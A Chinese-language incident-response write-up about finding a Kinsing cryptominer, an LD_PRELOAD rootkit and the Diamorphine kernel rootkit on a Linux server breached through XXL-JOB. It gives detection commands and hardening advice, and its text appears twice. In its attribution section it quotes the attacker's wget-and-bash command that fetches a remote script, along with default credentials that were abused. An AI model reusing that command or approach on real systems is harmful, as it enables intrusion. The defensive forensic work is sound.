记录某次"有趣的"挖矿木马排查
字数 2457 2025-08-03 16:48:31

挖矿木马排查与Rootkit检测实战教学文档

1. 挖矿木马概述

1.1 挖矿木马定义

挖矿木马是一种恶意软件,在用户不知情或未经同意的情况下,利用受害者的计算机资源进行加密货币挖矿。这类软件通过执行大量运算来挖掘数字货币,如比特币或门罗币等。

1.2 攻击方式

  • 漏洞利用
  • 弱口令爆破
  • 非法应用传播

1.3 主要影响

  1. 资源消耗:占用大量CPU/GPU资源,导致计算机运行缓慢
  2. 电费增加:挖矿需要大量电力,导致电费异常增加
  3. 系统安全风险:可能携带其他恶意软件,增加系统被进一步攻击的风险

2. 动态链接器劫持Rootkit技术

2.1 技术原理

动态链接器劫持Rootkit利用Linux系统的动态链接库(DLL)预加载机制来隐藏其存在和行为。

2.2 关键点

  1. LD_PRELOAD环境变量:指定程序运行前优先加载的动态链接库
  2. /etc/ld.so.preload配置文件:指定程序启动时预加载的动态链接库
  3. 全局符号介入:预加载的全局符号会覆盖后面加载的同名符号

2.3 检测方法

  1. 使用strace追踪系统命令加载情况
  2. 使用busybox执行命令避免被劫持
  3. 检查LD_PRELOAD环境变量和/etc/ld.so.preload文件

2.4 处置方法

  1. 清除被篡改的环境变量或配置文件
  2. 删除恶意的动态链接库文件
  3. 使用相同系统的相同版本动态链接器替换被修改的动态链接器

3. 实战案例分析

3.1 初始发现

  • 主机CPU性能告警
  • 流量设备监测到外联矿池行为
  • 发现后门账户tomcat

3.2 攻击入口分析

  1. 暴露端口:80(nginx)、9999(xxl-job执行器)
  2. 漏洞利用:XXL-JOB远程命令执行漏洞(版本低于2.2.0)

3.3 挖矿木马分析过程

3.3.1 进程隐藏检测

  1. 使用busybox top发现隐藏的挖矿进程/tmp/kdevtmpfsi
  2. 发现守护程序/etc/kinsing

3.3.2 持久化机制

  1. 动态链接器劫持
    • 异常动态链接库/etc/libsystem.so
    • 修改/etc/ld.so.preload文件
  2. 定时任务
    • /var/spool/cron/root存在异常定时任务
  3. systemd服务
    • 异常自启动项bot.service

3.3.3 时间线分析

时间 事件
2023-04-06 18:33:15 执行恶意脚本1_1586699003758.sh
2023-04-06 18:33:29 /etc/kinsing(守护程序)落地
2023-04-06 18:33:30 /etc/libsystem.so(动态链接库)落地
2023-04-06 18:33:31 bot.service(自启动项)创建
2023-04-06 18:34:01 第一次异常定时任务执行
2023-04-06 18:38:43 定时任务文件修改
2023-04-07 02:33:04 /tmp/kdevtmpfsi(挖矿程序)更新

3.4 溯源分析

  1. 攻击路径
    • 直接利用XXL-JOB执行器的9999端口未授权RCE漏洞
    • 执行命令:wget -q -o - 119.29.52.250/xx.sh && /bin/bash xx.sh
  2. 攻击者IP:50.7.158.106(日本 东京都 东京)
  3. 攻击方式
    • 目录爆破尝试
    • 利用默认凭证(admin/123456)登录xxl-job-admin

3.5 后门账户分析

  1. 发现时间:Apr 7 02:32:00
  2. 隐藏机制:使用Diamorphine内核模块(LKM rootkit)
    • 路径:/lib/modules/3.10.0-1127.el7.x86_64/kernel/diamorphine.ko
    • 功能:隐藏secret_前缀的文件
  3. 自启动机制
    • 服务文件:/usr/lib/systemd/system/secret_adduser.service
    • 调用脚本:/tmp/secret_adduser.sh(添加tomcat用户)

4. 关键命令合集

4.1 基础检测命令

netstat -anoltp  # 查看端口信息
ps aux|grep [PID]  # 查看特定进程信息
top/htop  # 查看资源占用情况

4.2 绕过Rootkit检测

busybox top  # 绕过被劫持的top命令
busybox ls -al /tmp/  # 查看目录下文件
busybox netstat -anltp  # 查看网络连接

4.3 Rootkit检测

echo $LD_PRELOAD  # 检查LD_PRELOAD环境变量
cat /etc/ld.so.preload  # 检查预加载配置文件
stat /etc/libsystem.so  # 检查文件信息

4.4 持久化机制检查

crontab -l  # 查看当前用户的定时任务
ls -la /etc/cron.*  # 查看系统定时任务目录
systemctl list-unit-files  # 查看系统服务
ls -la /usr/lib/systemd/system/  # 查看systemd服务文件

4.5 日志分析

cat /var/log/secure  # 查看认证日志(CentOS/RHEL)
cat /var/log/auth.log  # 查看认证日志(Debian/Ubuntu)
cat /var/log/cron  # 查看定时任务日志
cat /var/log/nginx/access.log  # 查看nginx访问日志

5. 防护与处置建议

5.1 预防措施

  1. 端口管理
    • 严格控制对外开放的端口
    • 使用防火墙限制访问源IP
  2. 服务加固
    • 及时更新服务组件,修复已知漏洞
    • 修改默认凭证,使用强密码策略
  3. 系统监控
    • 部署主机入侵检测系统(HIDS)
    • 监控异常CPU/GPU使用率和网络连接

5.2 应急响应

  1. 隔离受感染主机:立即断开网络连接
  2. 保留证据:在重启前收集系统信息
    • 内存转储
    • 进程列表
    • 网络连接状态
  3. 清除恶意组件
    • 终止恶意进程
    • 删除恶意文件
    • 清除异常定时任务和服务
  4. Rootkit处理
    • 卸载恶意内核模块
    • 使用干净系统替换被修改的系统文件

5.3 系统恢复

  1. 密码重置:重置所有用户密码
  2. 漏洞修复:修补被利用的漏洞
  3. 完整性检查:使用rkhunter/chkrootkit检查系统完整性
  4. 日志审计:分析日志确定入侵路径和时间线

6. 总结与思考

  1. 攻击者画像

    • 自动化程度高的挖矿团伙利用漏洞快速植入挖矿木马
    • 针对性攻击者进行手工渗透并植入持久化后门
  2. 技术要点

    • 动态链接器劫持是常见的进程隐藏技术
    • LKM rootkit(Diamorphine)可深度隐藏恶意组件
    • 使用busybox等静态编译工具可绕过部分rootkit
  3. 排查思路

    • 以时间线为主线串联各个事件
    • 结合多种检测方法互相验证
    • 考虑攻击者的持久化机制和隐藏手段
  4. 经验教训

    • 避免直接重启破坏现场
    • 默认配置和弱密码是重大风险点
    • 系统监控和日志收集对事后分析至关重要
挖矿木马排查与Rootkit检测实战教学文档 1. 挖矿木马概述 1.1 挖矿木马定义 挖矿木马是一种恶意软件,在用户不知情或未经同意的情况下,利用受害者的计算机资源进行加密货币挖矿。这类软件通过执行大量运算来挖掘数字货币,如比特币或门罗币等。 1.2 攻击方式 漏洞利用 弱口令爆破 非法应用传播 1.3 主要影响 资源消耗 :占用大量CPU/GPU资源,导致计算机运行缓慢 电费增加 :挖矿需要大量电力,导致电费异常增加 系统安全风险 :可能携带其他恶意软件,增加系统被进一步攻击的风险 2. 动态链接器劫持Rootkit技术 2.1 技术原理 动态链接器劫持Rootkit利用Linux系统的动态链接库(DLL)预加载机制来隐藏其存在和行为。 2.2 关键点 LD_ PRELOAD环境变量 :指定程序运行前优先加载的动态链接库 /etc/ld.so.preload配置文件 :指定程序启动时预加载的动态链接库 全局符号介入 :预加载的全局符号会覆盖后面加载的同名符号 2.3 检测方法 使用 strace 追踪系统命令加载情况 使用 busybox 执行命令避免被劫持 检查 LD_PRELOAD 环境变量和 /etc/ld.so.preload 文件 2.4 处置方法 清除被篡改的环境变量或配置文件 删除恶意的动态链接库文件 使用相同系统的相同版本动态链接器替换被修改的动态链接器 3. 实战案例分析 3.1 初始发现 主机CPU性能告警 流量设备监测到外联矿池行为 发现后门账户 tomcat 3.2 攻击入口分析 暴露端口 :80(nginx)、9999(xxl-job执行器) 漏洞利用 :XXL-JOB远程命令执行漏洞(版本低于2.2.0) 3.3 挖矿木马分析过程 3.3.1 进程隐藏检测 使用 busybox top 发现隐藏的挖矿进程 /tmp/kdevtmpfsi 发现守护程序 /etc/kinsing 3.3.2 持久化机制 动态链接器劫持 : 异常动态链接库 /etc/libsystem.so 修改 /etc/ld.so.preload 文件 定时任务 : /var/spool/cron/root 存在异常定时任务 systemd服务 : 异常自启动项 bot.service 3.3.3 时间线分析 | 时间 | 事件 | |------|------| | 2023-04-06 18:33:15 | 执行恶意脚本 1_1586699003758.sh | | 2023-04-06 18:33:29 | /etc/kinsing (守护程序)落地 | | 2023-04-06 18:33:30 | /etc/libsystem.so (动态链接库)落地 | | 2023-04-06 18:33:31 | bot.service (自启动项)创建 | | 2023-04-06 18:34:01 | 第一次异常定时任务执行 | | 2023-04-06 18:38:43 | 定时任务文件修改 | | 2023-04-07 02:33:04 | /tmp/kdevtmpfsi (挖矿程序)更新 | 3.4 溯源分析 攻击路径 : 直接利用XXL-JOB执行器的9999端口未授权RCE漏洞 执行命令: wget -q -o - 119.29.52.250/xx.sh && /bin/bash xx.sh 攻击者IP :50.7.158.106(日本 东京都 东京) 攻击方式 : 目录爆破尝试 利用默认凭证(admin/123456)登录xxl-job-admin 3.5 后门账户分析 发现时间 :Apr 7 02:32:00 隐藏机制 :使用Diamorphine内核模块(LKM rootkit) 路径: /lib/modules/3.10.0-1127.el7.x86_64/kernel/diamorphine.ko 功能:隐藏 secret_ 前缀的文件 自启动机制 : 服务文件: /usr/lib/systemd/system/secret_adduser.service 调用脚本: /tmp/secret_adduser.sh (添加tomcat用户) 4. 关键命令合集 4.1 基础检测命令 4.2 绕过Rootkit检测 4.3 Rootkit检测 4.4 持久化机制检查 4.5 日志分析 5. 防护与处置建议 5.1 预防措施 端口管理 : 严格控制对外开放的端口 使用防火墙限制访问源IP 服务加固 : 及时更新服务组件,修复已知漏洞 修改默认凭证,使用强密码策略 系统监控 : 部署主机入侵检测系统(HIDS) 监控异常CPU/GPU使用率和网络连接 5.2 应急响应 隔离受感染主机 :立即断开网络连接 保留证据 :在重启前收集系统信息 内存转储 进程列表 网络连接状态 清除恶意组件 : 终止恶意进程 删除恶意文件 清除异常定时任务和服务 Rootkit处理 : 卸载恶意内核模块 使用干净系统替换被修改的系统文件 5.3 系统恢复 密码重置 :重置所有用户密码 漏洞修复 :修补被利用的漏洞 完整性检查 :使用rkhunter/chkrootkit检查系统完整性 日志审计 :分析日志确定入侵路径和时间线 6. 总结与思考 攻击者画像 : 自动化程度高的挖矿团伙利用漏洞快速植入挖矿木马 针对性攻击者进行手工渗透并植入持久化后门 技术要点 : 动态链接器劫持是常见的进程隐藏技术 LKM rootkit(Diamorphine)可深度隐藏恶意组件 使用busybox等静态编译工具可绕过部分rootkit 排查思路 : 以时间线为主线串联各个事件 结合多种检测方法互相验证 考虑攻击者的持久化机制和隐藏手段 经验教训 : 避免直接重启破坏现场 默认配置和弱密码是重大风险点 系统监控和日志收集对事后分析至关重要